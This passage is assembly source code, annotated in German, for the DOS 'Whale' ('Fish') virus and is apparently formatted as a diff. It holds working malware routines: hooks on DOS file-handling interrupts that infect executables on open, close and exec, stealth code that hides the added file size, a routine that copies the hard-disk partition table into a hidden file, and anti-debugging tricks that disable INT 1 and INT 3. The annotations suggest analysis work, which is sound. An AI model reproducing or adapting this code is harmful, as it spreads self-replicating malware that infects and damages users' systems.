MDECODE 15 + MOV AL,01h + PUSH CS + POP DS + MOV DX,Offset Int_01_entry-Offset VirStart + CALL SetInt_AL ; SET INT 01 + MCODE 15 + RETN +;===================================================================== +;===========================( setzt INT ( nummer in AL) auf DS:DX )=== +;===================================================================== +SetInt_AL: MDECODE 16 + PUSH ES + PUSH BX + XOR BX,BX + MOV ES,BX + MOV BL,AL + SHL BX,1 + SHL BX,1 + MOV ES:[BX ],DX + MOV ES:[BX+02h],DS + POP BX + POP ES +J02C88 EQU $+2 + MCODE 16 + RETN +;===================================================================== +;==============================(sichert Register auf eigenem Stack)=== +;===================================================================== +SaveRegisters: MDECODE 17 + MOV CS:[D2557],SP + MOV CS:[D2559],SS + PUSH CS + POP SS + MOV SP,CS:[Vir_SP] + CALL CS:PUSHALL + MOV SS,CS:[D2559] + MOV CS:[Vir_SP],SP + MOV SP,CS:[D2557] + MCODE 17 + RETN +;===================================================================== +;==============================( holt INT ( nummer AL ) nach ES:BX)=== +;===================================================================== +GetInt_AL: MDECODE 18 + PUSH DS + PUSH SI + XOR SI,SI + MOV DS,SI + XOR AH,AH + MOV SI,AX + SHL SI,1 + SHL SI,1 + MOV BX,[SI] + MOV ES,[SI+02h] + POP SI + POP DS + MCODE 18 + RETN +;===================================================================== +;=========================( Zweiter Teil der Trace-Routine J02A63 )=== +;===================================================================== +J02CD8: POP AX ; AX = 2A7Dh +J02CDA EQU $+1 ; = INC SI + ; OR [BX],AL + ; XCHG BX,[BP+08h] , usw. + + ADD WORD Ptr [BP+08h],+07h ; Change IP after IRET ?? + XCHG BX,[BP+08h] + MOV DX,BX + XCHG BX,[BP+02h] + + SUB SI,@0478 ; = ADD SI,@FB88 + MOV BX,SI ; + ADD BX,SwapCode_6 ; 04EFh + + POP BP ; Original BP aus Trace-Routine + ; J02A63 + PUSH CS:[SI+SwapCode_8] ; dort steht "E9CF" + POP AX ; AX = "E9CF" + XOR AX,020Ch ; AX = "EBC3" + MOV CS:[BX],AL ; PATCHT INT 3 WEG : INT 3 -> RET + ; Spielt aber gefhrlich mit der Queue, + ; kein Wunder, dass das Teil auf ATs + ; nicht funktioniert... + ADD AX,020Ch ; AX = EDCF +;********************************************************************* +CALL EIN_RETURN ;************ Eingefgt ********************** +;********************************************************************* +J02CFF: INT 3 ; -> RET + ; ABER RET [SP+2] !!!!! + ; das heisst : Ende der Trace-Routine + ; ist hier. +;===================================================================== +J02D00: JMP J02D60 + DB 0EBh +;===================================================================== +;====================( Handler fr Findfirst/Findnext FCB / AH=11 )=== +;===================================================================== +J02D04: MDECODE 19 + CALL PopALL + CALL CS:[@INT21] ; CALL INT 21H + OR AL,AL + MCODE 19 + JZ J02D1C + JMP IRET_Int21h + ;------------------ +J02D1C: MDECODE 20 + CALL PushALL + CALL GetDTA + MOV AL,00h + CMP BYTE Ptr DS:[BX],0FFh ; Extended FCB ? + JNZ J02D34 + + MOV AL,[BX+06h] ; dann Attribut -> AL + ADD BX,+07h ; und zum Normalen FCB +J02D34: AND CS:[D24F0],AL ; + TEST BYTE Ptr DS:[BX+18h],80h; reserved..Shit + MCODE 20 + JNZ J02D46 + JMP J02EA3 ; fertig + +J02D46: SUB BYTE Ptr DS:[BX+18h],80h + CMP WORD Ptr DS:[BX+1Dh],Code_len + JNB J02D54 + JMP J02EA3 ; fertig + +J02D54: SUB WORD Ptr DS:[BX+1Dh],Code_len + SBB WORD Ptr DS:[BX+1Fh],+00h + JMP J02EA3 ; fertig +;===================================================================== +J02D60: LOOP J02D66 ; wenn CX <> 0 dann J02D66 + JMP J03251 ; sonst J03251 -> J034D4 +;--------------------------------------------------------------------- + DB 0ebh ; TRASH ! +;--------------------------------------------------------------------- +J02D66: INC BX + JMP J02FA2 +;===================================================================== +;===============================================( Suche nach Fish )=== +;===================================================================== +Suche_Fish: MDECODE 21 + CALL PushALL + IN AL,40h ; Hole Zufallszahl + CMP AL,40h ; ist sie < 40h, dann Partitionstabelle + MCODE 21 ; lesen und FISH.TBL erzeugen + JB J02D7F + JMP J02E9F ; sonst nicht. +;===================================================================== +;============( LESEN der Partitionstabelle bei jeder 4. Infektion )=== +;===================================================================== +J02D7F: MDECODE 22 + MOV AL,01h ; EINEN SEKTOR + MOV AH,02h ; LESEN + PUSH CS + POP BX + SUB BH,10h ; + MOV ES,BX ; NACH ES:0000h + MOV BX,0000h ; + MOV CH,00h ; SPUR 0 + MOV CL,01h ; SEKTOR 1 ( Partitionstabelle ) + MOV DH,00h ; 1. HEAD + MOV DL,80h ; 1. FESTPLATTE + PUSHF + CALL DWORD PTR CS:[Trace_Adres] ; INT 13h ! + MCODE 22 + JNB J02DA9 + JMP J02E9F +;===================================================================== +;=========================( erzeugen der FISH.TBL als HIDDEN-File )=== +;===================================================================== +J02DA9: MDECODE 23 + PUSH CS + POP DS + MOV AH,5Bh ; CREATE NEW FILE + MOV CX,0002h ; ATTRIBUT "SYSTEM" + MOV DX,OFFSET D2DDB-Offset VirStart + ; NAME IN DS:05CBH/CS:D2DDB + CALL CS:[@INT21] + JNB J02DC2 + JMP J02E9B +J02DC2: PUSH ES + POP DS + MOV BX,AX + MOV AH,40h ; schreibe + MOV CX,0200h ; 200h Byte + MOV DX,0000h ; ab ES:0000 + ; Partitionstabelle + CALL CS:[@INT21] + JB J02DD8 + JMP J02E85 +J02DD8: JMP J02E9B + ;============================================================= +D2DDB DB "C:\FISH-#9.TBL",0 +D2DEA DB "FISH VIRUS #9 " + DB "A Whale is no Fish! " + DB "Mind her Mutant Fish and the hidden Fish Eggs for " + DB "they are damaging. " + DB "The sixth Fish mutates only if Whale is in her Cave" + ;============================================================= +J02E85: PUSH CS + POP DS + MOV AH,40h + MOV CX,009Bh + MOV DX,OFFSET D2DEA-Offset VirStart + CALL DS:[@INT21] + JB J02E9B + MOV AH,3Eh + CALL DS:[@INT21] +J02E9B: MCODE 23 +J02E9F: CALL PopALL + RETN +;--------------------------------------------------------------------- +J02EA3: CALL PopALL + JMP IRET_Int21h +;===================================================================== +;================================( Handler fr OPEN FCB , AH = 0F )=== +;===================================================================== +J02EA9: MDECODE 24 + CALL PopALL + CALL CS:[@INT21] + CALL PushALL + OR AL,AL + MCODE 24 +;============================== + JNZ J02EA3 ; fertig + + MOV BX,DX + TEST BYTE Ptr DS:[BX+17h],80h + JZ J02EA3 ; fertig + SUB BYTE Ptr DS:[BX+17h],80h + SUB WORD Ptr DS:[BX+10h],Code_len ; unerkannt + ; bleiben + SBB BYTE Ptr DS:[BX+12h],00h + JMP J02EA3 ; fertig +;===================================================================== +;=============================( Handler fr Read Random Block FCB )=== +;===================================================================== +J02ED8: JCXZ J02F08 +;===================================================================== +;===================================( Handler fr Read Random FCB )=== +;===================================================================== +J02EDA: MDECODE 25 + MOV BX,DX + MOV SI,[BX+21h] + OR SI,[BX+23h] + MCODE 25 + JNZ J02F08 + JMP J02F03 + DB 0e8h +;===================================================================== +;================================( Handler fr Read Seq. FCB.AH=14)=== +;===================================================================== +J02EF0: MDECODE 26 + MOV BX,DX ; DS:DX ist Adresse des geffneten FCB + MOV AX,[BX+0Ch] ; +J02EFA: OR AL,[BX+20h] + MCODE 26 + JNZ J02F08 + +J02F03: CALL J0397A ; SAVEREGS,ES=DS, DI=DX+0Dh + JNB J02F55 ; Datei ist ausfhrbar +J02F08: JMP J02B8B ; sonst : CALL LOW-INT-21 +;===================================================================== +J02F0B: JMP J03251 ; -> J034D4 +;-----------------------------------------------------------(trash)--- + MOV [BP+02h],DX + MOV [BP+04h],CX + DB 0EBh +;--------------------------------------------------------------------- +;------------------------( erste Proc nach Initialisierung von SI )--- +;--------------------------------------------------------------------- +J02F15: IN AL,21h ; SI = 2810h / VirStart + OR AL,02h + OUT 21h,AL + XOR BX,BX + PUSH BX ; PUSH 0 auf Stack + MOV BP,0020h + POP DS ; DS = 0000 + MOV CX,BP ; CX = 0020 + CALL $+3 ; GET IP + POP BX ; BX = 2F27 + PUSH BX + POP DX ; DX = 2F27 + PUSH CS + POP AX ; AX = CS + ADD AX,0010h ; AX = CS:0100 + ADD BX,AX + XOR DX,BX + +J02F33: SUB SI,@FB88 ; ADD SI,478h; SI = 2C88 + ; AX = 5BC0 + ; BX = 8AE7 + ; CX = 0020 + ; DX = A5C0 + ; DS = 0000 + CALL J02AD2 ; + ; 2F3A auf Stack als ret-adr + ;------>(J02EC8)----[keine Rckkehr vom CALL ! ]------ + ;----------------------------------------------------- + DB 0E9H +;===================================================================== +;====================================================( no entry...)=== +;===================================================================== + MOV BYTE PTR [DI],0EBH + JMP J035E3 ; Erzeugt eine 7 Byte-Tabelle und checkt + ; Verfallsdatum +;===================================================================== +;====================================================( no entry...)=== +;===================================================================== +J02F41: XCHG DX,BX +J02F43: MOV WORD PTR DS:[0004h],BX + OR CX,CX + JZ J02F0B + DEC CX + JMP J02FA2 +;-------------------------------------------------------------------- + DB 1Ch,00,53h,57h,0E8h +;===================================================================== +;============================( zum Handler fr Read Seq. FCB.AH=14)=== +;===================================================================== +J02F55: MDECODE 27 + CALL CS:[@INT21] ; CALL INT 21h + MOV [BP-08],CX + MOV [BP-04],AX + PUSH DS + PUSH DX + CALL GetDTA + CMP Word Ptr DS:[BX+14],1 + MCODE 27 + JZ J02FF6 +;==========================================( check auf infektion )=== +J02F7A: MDECODE 28 + MOV AX,[BX ] + ADD AX,[BX+02h] + PUSH BX + MOV BX,[BX+04h] + XOR BX,5348h ; 'SH' --> 'FISH' ! + XOR BX,4649h ; 'FI' + ADD AX,BX + POP BX + MCODE 28 + JZ J02FF6 + ADD SP,+04h + JMP J02EA3 ; fertig +;================================================================= + DB 12h +;================================================================= +J02FA0: JMP J02F33 +;================================================================= +J02FA2: + MOV Word PTR DS:[0004h],DX + MOV BX,Word Ptr DS:[000Ch] + IN AL,01h ;?????!??????!???? + OR CX,CX + JZ J02FC0 + CMP CL,BL + JB J02FC0 + XCHG BX,DX + MOV Word PTR DS:[0004h],DX + XOR DX,AX + LOOP J02FA0 ; JMP J02F33, if CX <> 0 + ; ist identisch mit + ; "JMP J02FC0".... + JZ J02FCB ; -> J03251 -> J034D4 + + +J02FC0: ADD SI,@0478 + CALL J02AD2 ; ->keine Rckkehr vom CALL !<- +;------------------------------------------------------------------- + DB 0E9H,0A8h,09h,0EAh +;------------------------------------------------------------------- +J02FCB: JMP J03251 ; -> 34d4 +;=====================( no entry )==( muss (!) ausgefhrt werden )=== +J02FCE: MOV BYTE PTR CS:[SI+SwapCode_5],0E8h + ; Adresse J03259 + OR CX,CX ; Ist am anfang immer 20h + ; also wird 32 Mal diese Schleife + ; ausgefhrt und versucht, den + ; INT 1 zu setzen..... + JZ J02FCB ; Zur Arbeit ! + ;--------------------------------------------------- + ; INT 1 und INT 3 zerstren. + ;--------------------------------------------------- + MOV Word Ptr DS:[000Ch],BX + XOR DX,BX + MOV Word Ptr DS:[0004h],DX + XOR AX,DX + MOV Word Ptr DS:[000Ch],AX + JMP J02D00 ; schlechter Pfad ! +;========================================================( trash )=== +J02FEA: DB 081h,0c6h,090h,034h,0b9h,01ch + DB 000h,0f4h,0a4h,033h,0c9h,0e8h +;===================================================================== +;============================( zum Handler fr Read Seq. FCB.AH=14)=== +;===================================================================== +J02FF6: MDECODE 29 + POP DX + POP DS + MOV SI,DX + + PUSH CS + POP ES + MOV CX,0025h + MOV DI,Offset @FCB ; Kopiere FCB + REPZ MOVSB + + MOV DI,Offset @FCB + PUSH CS + POP DS + MOV DX,[DI+12h] ; HOLE FILESIZE nach DX:AX + MOV AX,[DI+10h] + ADD AX,Code_Len+0FH ; ADD filesize, 240fh + ADC DX,+00h + AND AX,0FFF0h ; Filesize auf (mod 16) normieren + MOV [DI+12h],DX +J03020: MOV [DI+10h],AX ; und zurueck + SUB AX,Code_Len-4 ; 23fc abziehen + SBB DX,+00h + MOV [DI+23h],DX ; und nach RandomRec kopieren ?!? + MOV [DI+21h],AX ; Dadurch wird das FILE in + ; einem Record gelesen ( aber nur, + ; wenn's kleiner als 1 Segment ist) + + MOV CX,001Ch ; Lese 1Ch byte (EXE-Header) + MOV WORD Ptr DS:[DI+0Eh],0001h + + MOV AH,27h ; READ RANDOM BLOCK FCB + MOV DX,DI + CALL CS:[@INT21] + MCODE 29 + JMP J02EA3 ; fertig +;===================================================================== +;================================================( AUS DEM HIER : )=== +;===================================================================== +J03047: DB 03BH,0DEH ; CMP BX,SI + DB 074H,0D5H ; JZ J03020 + RETN +;===================================================================== +;===============================================( Wird DAS HIER : )=== +;===================================================================== + ;J03047:XOR WORD PTR CS:[SI],BX + ; NOP + ; RET +;===================================================================== +;============================================( DER CODE-PATCHER )=== +;============================================( SI kommt mit 210Ah )=== +;===================================================================== +PATCH: PUSH BX + + ADD SI,OFFSET J0492F-OFFSET J0491A + MOV BX,157Dh ; SI = 211F / 492F + CALL J03047 + + ADD SI,+02h ; SI = 2121 / 4931 + MOV BX,758Bh + CALL J03047 + + ADD SI,+02h ; SI = 2123 / 4933 + MOV BX,0081h + CALL J03047 + + ADD SI,+08h ; SI = 212B / 493B + MOV BX,0A08h + CALL J03047 + + ADD SI,+02h ; SI = 212D / 493D + MOV BX,302Fh + CALL J03047 + + ADD SI,+02h ; SI = 212f / 493F + MOV BX,02A5h + CALL J03047 + ;----------------------( DECODE ist jetzt 'anders')--- + + ADD SI,OFFSET J0499D-OFFSET J04941+2 + MOV BX,157Dh ; SI = 218D / 499D + CALL J03047 + + ADD SI,+05h ; SI = 2192 / 49A2 + MOV BX,0A09Fh + CALL J03047 + + ADD SI,+0Ah ; SI = 219C / 49AC + MOV BX,00A7h + CALL J03047 + + ADD SI,+0Ch ; SI = 21A8 / 49B8 + MOV BX,872Dh + CALL J03047 + + ADD SI,+02h ; SI = 21AA / 49BA + MOV BX,7829h + CALL J03047 + + ADD SI,+02h ; SI = 21AC / 49BC + MOV BX,4229h + CALL J03047 + + ADD SI,+02h ; SI = 21AE / 49BE + MOV BX,1AC0h + CALL J03047 + ;---------------( CODEIT ist jetzt auch 'anders' )--- + + ADD SI,OFFSET J04A2A-OFFSET J049C0 + 2 + ; SI = 221A / 4A2A + MOV BX,1114h + CALL J03047 + + ADD SI,OFFSET J04A39 - OFFSET J04A2A + ; SI = 2229 / 4A39 + MOV BX,0000h ; ? NOP ? + CALL J03047 + + ADD SI,OFFSET J04A44 - OFFSET J04A39 + ; SI = 2234 / 4A44 + MOV BX,02E3h + CALL J03047 + + POP BX + RETN +;===================================================================== +;=================================( Handler fr GET FILESIZE /FCB )=== +;===================================================================== +J030DF: MDECODE 30 + PUSH CS + POP ES + MOV DI,Offset @FCB + MOV CX,0025h ; Kopiere FCB + MOV SI,DX + REPZ MOVSB + + PUSH DS + PUSH DX + PUSH CS + POP DS + + MOV AH,0Fh ; OPEN FCB + MOV DX,Offset @FCB ; FCB steht an DS:DX + CALL CS:[@INT21] + MOV AH,10h ; CLOSE FCB ! + CALL CS:[@INT21] + TEST BYTE Ptr DS:[@FCB+17H],80h + POP SI + POP DS + MCODE 30 + + JZ J03182 + + LES BX,DWord ptr CS:[@FCB+010h] ; File-Size + +J03117: MDECODE 31 + MOV AX,ES + SUB BX,Code_len + SBB AX,0000h + XOR DX,DX + MOV CX,WORD PTR CS:[@FCB+0eh] ; Rec-Size + DEC CX + ADD BX,CX + ADC AX,0000h + INC CX + DIV CX + MOV [SI+23h],AX + XCHG AX,DX ; + XCHG AX,BX + DIV CX + MOV [SI+21h],AX + MCODE 31 + JMP J02EA3 ; fertig +;===================================================================== +;=======================================( setzt INT 02 auf "IRET" )=== +;===================================================================== +StopINT_02: MDECODE 32 + CALL PushALL + IN AL,21h + OR AL,02h ; setze Bit 2 + OUT 21h,AL + + MOV AL,02h + CALL GetInt_AL ; GET INT 02 + ; ergebnis in ES:BX + MOV AX,CS ; AX = CS + MOV CX,ES + CMP AX,CX + JZ J03179 + MOV WORD PTR CS:[@INT02+2],ES + MOV WORD PTR CS:[@INT02 ],BX + + PUSH CS + POP DS + CALL J03170 +J03170: POP DX ; GET IP + ADD DX,OFFSET INT_02-OFFSET J03170 + + MOV AL,02h + CALL SetInt_AL ; SET INT 02 auf IRET + +J03179: CALL PopALL + MCODE 32 + RETN +;===================================================================== +INT_02: IRET ; KOPROZESSORFEHLER + MEMORY PARITY-FEHLER +;===================================================================== +J03182: JMP J02B8B ; CALL LOW_INT_21 + DB 0E8h +;===================================================================== +;=======================================( SET INT 02 zum Original )=== +;===================================================================== +Re_SET_Int_02: MDECODE 33 + CALL PushALL + + IN AL,21h + AND AL,0FDh ; lsche Bit 2 + OUT 21h,AL + + LDS DX,CS:[@INT02] ; OLD INT 02 + MOV AL,02h + CALL SetInt_AL ; SET INT 02 + CALL PopALL + MCODE 33 + RETN +;===================================================================== +;================================( Handler fr Open File / Handle )=== +;===================================================================== +J031A6: CALL GET_Current_PSP + CALL J039C3 ; ist die Datei ausfhrbar ? + JB J031F1 ; nein.... + CMP BYTE PTR CS:[D24A2],00h ; hab ich schon infiziert + JZ J031F1 + CALL J043B1 ; Vorarbeiten + CMP BX,0ffffh ; Fehler bei Vorarbeiten ?? + JZ J031F1 ; oder garkeine DATEI ?? +;===========================================()========================== + MDECODE 34 + DEC BYTE PTR CS:[D24A2] + PUSH CS + POP ES + + MOV CX,0014h + MOV DI,Offset D2452 ; ja ? wenn ich's wsst... + XOR AX,AX + REPNZ SCASW + + MOV AX,CS:[@PSP] + MOV ES:[DI-02h],AX + MOV ES:[DI+26h],BX + MOV [BP-04h],BX + MCODE 34 + +J031E7: AND BYTE PTR CS:[D24B3],0FEh ; CF lschen + JMP J02EA3 ; fertig + + DB 0E8h + +J031F1: JMP J02B8B ; CALL LOW_INT_21 +;===================================================================== +;===============================( Handler fr CLOSE FILE / Handle )=== +;===================================================================== +J031F4: MDECODE 35 + PUSH CS + POP ES + CALL GET_Current_PSP + MOV CX,0014h + MOV AX,CS:[@PSP] + MOV DI,Offset D2452 + MCODE 35 + +J0320C: REPNZ SCASW +J0320E: JNZ J03227 + CMP BX,ES:[DI+26h] + JNZ J0320C + MOV WORD PTR ES:[DI-02h],0000h + CALL J03642 ; infizieren ! + INC BYTE PTR CS:[D24A2] + JMP J031E7 + ;================================ + DB 0BBh + ;================================ +J03227: JMP J02B8B ; Call LOW-INT-21 + ;================================ + DB 3DH + ;================================ +;===================================================================== +;=============================================( Hole aktuelle DTA )=== +;===================================================================== +GetDTA: MDECODE 36 + MOV AH,2FH ; GET DTA + PUSH ES + CALL CS:[@INT21] + PUSH ES + POP DS + POP ES + MCODE 36 + RETN +;--------------------------------------------------------------------- +J03240: DB 0E9H,012H,003H ; JMP J03555 == NIRWANA ! +;===================================================================== +;=====================================( versteckter DECODE-Aufruf )=== +;===================================================================== +Decode: JMP J0491B ; CMP AX,16D5H +;-----------------------------------------------------------(trash)--- + JZ J03240 + SUB AX,12EFh + DEC SI + INC BH + JMP J02FEA +;===================================================================== +;=====(-----------------------------------------------------------)=== +;=====( Affengeiler Code )=== +;=====(-----------------------------------------------------------)=== +;=====( SP sichern in BP )=== +;=====( "C353" auf den Stack, wobei SS=CS & C353 = "PUSH BX, RET" )=== +;=====( Dann ein CALL dessen RET-Adresse vom Stack geholt wird. )=== +;=====( Dafr wird DX alias BP auf den Stack gelegt. Kuckuck ! )=== +;=====( Schliesslich wird nach SS:SP-2, also "PUSH BX, RET", )=== +;=====( gesprungen, also ein "RET" zur Adresse J034D4 ausgefhrt )=== +;=====(-----------------------------------------------------------)=== +;=====( Kein Wunder, da der Wal nach Fischen sucht ;-))) )=== +;===================================================================== +J03251: MOV DX,BP ; DX = BP + MOV BP,SP + MOV BX,0C353H + PUSH BX +J03259: CALL J0341A ; ursprnglich "INT 3" +J0325C DB 0BBH +;----------------------------------------------------------( Info )--- +; J0341A: POP BX ; BX = 325C +; ADD BX,OFFSET J034D4-Offset J0325C +; PUSH DX ; +; SUB BP,+02h ; BP = SP-2 +; DB 36H ; hat noch gefehlt :-) +; JMP BP ; = JMP DX / JMP 34D4 +;--------------------------( => )------ +; SS:SP-2 PUSH BX ; = 53h +; SS:SP-1 RET ; = C3h +;===================================================================== +;==============================================( Handler fr EXEC )=== +;===================================================================== +J0325D: OR AL,AL ; Ist AL = 0 ( = Load + execute ) ? + JZ J03264 ; JA !! + JMP J034FC +;===================================================================== +;================================================( EXEC AX = 4B00 )=== +;===================================================================== +J03264: MDECODE 37 + PUSH DS + PUSH DX + MOV Word ptr CS:[D2424+2],ES ; Adress of EPB + MOV Word ptr CS:[D2424 ],BX + LDS SI,DWord ptr CS:[D2424] + + MOV CX,000Eh ; kopiere epb in ds + MOV DI,Offset EPB + PUSH CS + POP ES + REPZ MOVSB + + POP SI + POP DS + MOV CX,0050h ; kopiere kommandozeile + MOV DI,Offset Cmd_Line + REPZ MOVSB + + MOV BX,0FFFFh ; wird wieder zerstrt + CALL PopALL + POP BP ; Original-BP + POP CS:[D24E6] ; CALLERs IP + POP CS:[D24E8] ; CALLERS CS + POP CS:[D24B3] ; CALLERS Flags + PUSH CS + + MOV AX,4B01h ; Load, but do not execute + POP ES ; Segment EPB + PUSHF + MOV BX,Offset EPB ; Offset EPB + CALL CS:[Low_INT_21H] + + MCODE 37 + + JNB J032DA ; JMP if kein Fehler + + OR WORD PTR CS:[D24B3],+01h; sonst CF setzen + PUSH CS:[D24B3] ; Flags + PUSH CS:[D24E8] ; CS + PUSH CS:[D24E6] ; IP + PUSH BP + LES BX,DWord ptr CS:[D2424] ; Alten EPB zurck + MOV BP,SP ; Alten SP + JMP IRET_Int21h ; und fertig +;====================================================== + DB 89h,04h +;=======================================( kein Fehler aufgetreten )=== +J032DA: MDECODE 38 + CALL GET_Current_PSP + PUSH CS + POP ES + MOV CX,0014h + MOV DI,Offset D2452 +J032EA: MOV AX,CS:[@PSP] + REPNZ SCASW + JNZ J032FF + MOV WORD PTR ES:[DI-02h],0000h + INC BYTE PTR CS:[D24A2] + JMP J032EA +;==================================================================== +J032FF: MCODE 38 + LDS SI,DWORD PTR CS:[D2503] ; Ist IP-Init = 1 ( WAL ! ) + CMP SI,+01h + JNZ J0334D ; nein. Dann infizieren + ; sonst wal ausblenden + MDECODE 39 + MOV DX,Word Ptr DS:[001Ah] + ADD DX,+10h + + MOV AH,51h + CALL CS:[@INT21] + + ADD DX,BX + MOV Word Ptr CS:[D2505],DX + PUSH Word Ptr DS:[0018h] + POP Word Ptr CS:[D2503] + + ADD BX,Word Ptr DS:[0012h] + ADD BX,+10h + MOV Word Ptr CS:[D2501],BX + + PUSH Word Ptr DS:[0014h] + POP Word Ptr CS:[D24FF] + + MCODE 39 + JMP J0345F +;--------------------------------------------------------------------- + DB 09h +;--------------------------------------------------------------------- +J0334D: JMP J03428 ; jmp zut Infect-routine +;===================================================================== +;===================================================( Selbst-Test )=== +;===================================================================== +J03350: MDECODE 40 + CALL PushALL + JMP J03362 + +J0335B: XOR AL,CS:[BX] + INC BX + LOOP J0335B + RETN +;-----------------------------------( netterweise werden hier die )--- +;-----------------------------------( 'echten' Labels publik ! )--- +J03362: XOR AL,AL + MOV BX,0021h ; 2831..2852 ; ENTRY...2852 + MOV CX,007Ah + CALL J0335B + MOV BX,0173h ; 2983..298d ; init SI + MOV CX,000Ah + CALL J0335B + MOV BX,0253h ; 2a63..2a7f ; trace... + MOV CX,001Ch + CALL J0335B + MOV BX,0550h ; 2d60..2d6a ; ????????????? + MOV CX,000Ah + CALL J0335B + MOV BX,0705h ; 2f15..2f55 + MOV CX,0040h + CALL J0335B + MOV BX,0790h ; 2fa0..2ff6 + MOV CX,0056h + CALL J0335B + MOV BX,0A30h ; 3240..3264 + MOV CX,0024h + CALL J0335B + MOV BX,0C0Ah ; 341a..3428 + MOV CX,000Eh + CALL J0335B + MOV BX,0CC4h ; 34d4..3510 + MOV CX,003Ch + CALL J0335B + MOV BX,105Ah ; 386a..3897 + MOV CX,002Dh + CALL J0335B + MOV BX,1106h ; 3916..393f + MOV CX,0029h + CALL J0335B + MOV BX,210Ah ; 491a..4981 + MOV CX,0067h + CALL J0335B + MOV BX,2173h ; 4983..4a56 + MOV CX,00D8h + CALL J0335B + MOV BX,236Ch ; 4b7c..4bb5 + MOV CX,0039h + CALL J0335B + MOV BX,1D7Dh ; 458d..45b2 + MOV CX,0025h + CALL J0335B + MOV BX,1C7Ch ; 448c..44ce + MOV CX,0042h + CALL J0335B + CMP AL,0E0h ; sic !! + JZ J03412 + ;----------------------------------------------------- + MOV WORD PTR CS:[D2598],0F4F4h ; = HLT + MOV BX,OFFSET D2598 + PUSHF + PUSH CS + PUSH BX + XOR AX,AX + MOV DS,AX + MOV WORD PTR DS:[0006h],0FFFFh ; SEGMENT Int 01 + CALL Debugger_Check ; STOP + ;----------------------------------------------------- +J03412: CALL PopALL + MCODE 40 +J03419: RETN +;====================================================( JMP J034D4 )=== +J0341A: POP BX ; BX = 325C + ADD BX,OFFSET J034D4-Offset J0325C ; BX = 34D4 + PUSH DX ; + SUB BP,+02h ; BP = SP + ;**************************************************** + DB 36H ; Seg-Prefix hat noch gefehlt + ;**************************************************** + JMP BP ; -> JMP DX -> JMP BX +;--------------------------------------------------------------------- + DB 0E9h,0DBh,000 +;-------------------------------( Nochmal Kontrolle, ob infiziert )--- +J03428: MDECODE 41 + MOV AX,[SI] + ADD AX,[SI+02h] + PUSH BX + MOV BX,[SI+04h] + + XOR BX,5348h ; 'SH' + XOR BX,4649h ; 'FI' + + ADD AX,BX + POP BX + MCODE 41 + JZ J034AF ; ist schon infiziert + PUSH CS + POP DS + MOV DX,Offset Cmd_Line + CALL J039C3 ; ist die Datei ausfhrbar ? + CALL J043B1 ; Vorarbeiten + INC BYTE PTR CS:[D24EF] + CALL J03642 ; infizieren + DEC BYTE PTR CS:[D24EF] +;===================================================================== +;===================================( Datei im RAM wird gestartet )=== +;===================================================================== +J0345F: MDECODE 42 + + MOV AH,51h ; GET current PSP + CALL CS:[@INT21] + + CALL SaveRegisters + CALL Patch_IBMDOS + CALL GetRegsFromVirstack + MOV DS,BX + MOV ES,BX + PUSH WORD PTR CS:[D24B3] ; CALLERs FLAGS + PUSH WORD PTR CS:[D24E8] ; Caller-CS + PUSH WORD PTR CS:[D24E6] ; Caller-IP + POP Word Ptr DS:[000Ah] + POP Word Ptr DS:[000Ch] + PUSH DS + MOV AL,22h + LDS DX,Dword Ptr DS:[000Ah] + CALL SetInt_AL ; SET INT 22 TO CALLER + POP DS + POPF ; POP Original-Flags + POP AX ; POP RET-Adresse + MOV SP,CS:[D24FF] ; SP-INIT + MOV SS,CS:[D2501] ; SS-INIT + MCODE 42 + JMP DWORD PTR CS:[D2503] ; EXEC Programm +;===================================================================== +;==============( Datei ist infiziert. Wal desinfiziert sie im RAM )=== +;===================================================================== +; Offset 100H JMP 4BCC = E9 C9 4A +; Offset 2814 EXE_ID E9 pq rs , Savebytes +; Offset 4BCC Vir-Entry +; 2814-4AC9-100h = DC4B usw. +;===================================================================== +J034AF: MDECODE 43 ; SI zeigt auf COM-START + MOV BX,[SI+01h] ; Sprungziel nach BX + MOV AX,[BX+SI+0DC4Bh] ; -23B5, Diff -3 zw. + MOV [SI],AX ; Savebytes und 4BCC + MOV AX,[BX+SI+0DC4Dh] ; -23B3 + MOV [SI+02h],AX + MOV AX,[BX+SI+0DC4Fh] ; -2361 + MOV [SI+04h],AX + CALL J045D0 ; 'aktiv-msg' + MCODE 43 + JMP J0345F ; +;===================================================================== +;================================( EINTRITT IN "ARBEITSPHASE" )=== +;================================( Durch die erste Anweisung wird )=== +;================================( der JMP zum Relokator erzeugt )=== +;===================================================================== +J034D4: MOV BYTE PTR CS:[SI+SwapCode_2],0E9h + ; JMP bei 3A20 erzeugen !! + POP BP ; BP = 20h + MOV CX,0004h ; Das nchste RET macht wieder + ; "PUSH BX,RET" + MOV BX,DS ; BX = DS + OR BX,BP ; BX = DS or 20h + MOV DS,BX ; DS = DS or 20H + +J034E4: SHL BX,1 ; BX = BX * 16 + LOOP J034E4 + + MOV AX,CX ; AX = 0 + MOV CX,001Ch ; CX = 1C + +J034ED: ADD AH,[BX] + INC BX + LOOP J034ED + + PUSH AX ; AX auf den Stack + + MOV CX,[BX] + PUSH CS + POP AX + SHR BH,1 + JMP J03919 +;===================================================================== +;================================================( Gehrt zu EXEC )=== +;===================================================================== +J034FC: CMP AL,01h ; AX = 4B01 ( durch Debugger und Wal ) + JZ J03510 ; ja , durch Debugger und Wal. + JMP J02B8B ; nein, AX=4B03. Low-int-21h rufen +;===================================================================== +;===========================================================(trash)=== +;===================================================================== +J03503: DB 01,0cbh,81h,0fbh,34h,28h,72h,0f8h,81h,0f1h,21h,21h,0a1h + ;--------------------------------------- + ;J03503:ADD BX,CX + ; CMP BX,2834h ; OFFSET VIR_NAME + ; JB J03503 + ; XOR CX,2121h ; "!!" + ; MOV AX,WORD PTR DS:[30E8h] + ; STD + ; SUB [BX+SI],AL + ;--------------------------------------- +;===================================================================== +;==============================================( EXEC mit 4B01h )=== +;==============================================( Aufruf durch WAL )=== +;==============================================( und Debugger )=== +;===================================================================== +J03510: MDECODE 44 + OR WORD PTR CS:[D24B3 ],+01h ; CALLERS Flags + MOV Word ptr CS:[D2424+2],ES ; EPB sichern + MOV Word ptr CS:[D2424 ],BX + CALL PopALL + CALL CS:[@INT21] ; int 21h rufen + CALL PushALL + LES BX,DWord ptr CS:[D2424] ; EPB zurck + LDS SI,DWord ptr ES:[BX+12h] ; CS:IP holen + MCODE 44 + JNB J03542 ; ---> Infektion + JMP J035E0 ; ---> fertig +;=========================================================()======== +J03542: AND BYTE PTR CS:[D24B3],0FEh; CF lschen + CMP SI,+01h ; ist IP-INIT=1 (infiziert) + JZ J0358E + MDECODE 45 + MOV AX,[SI] + ADD AX,[SI+02h] + PUSH BX + 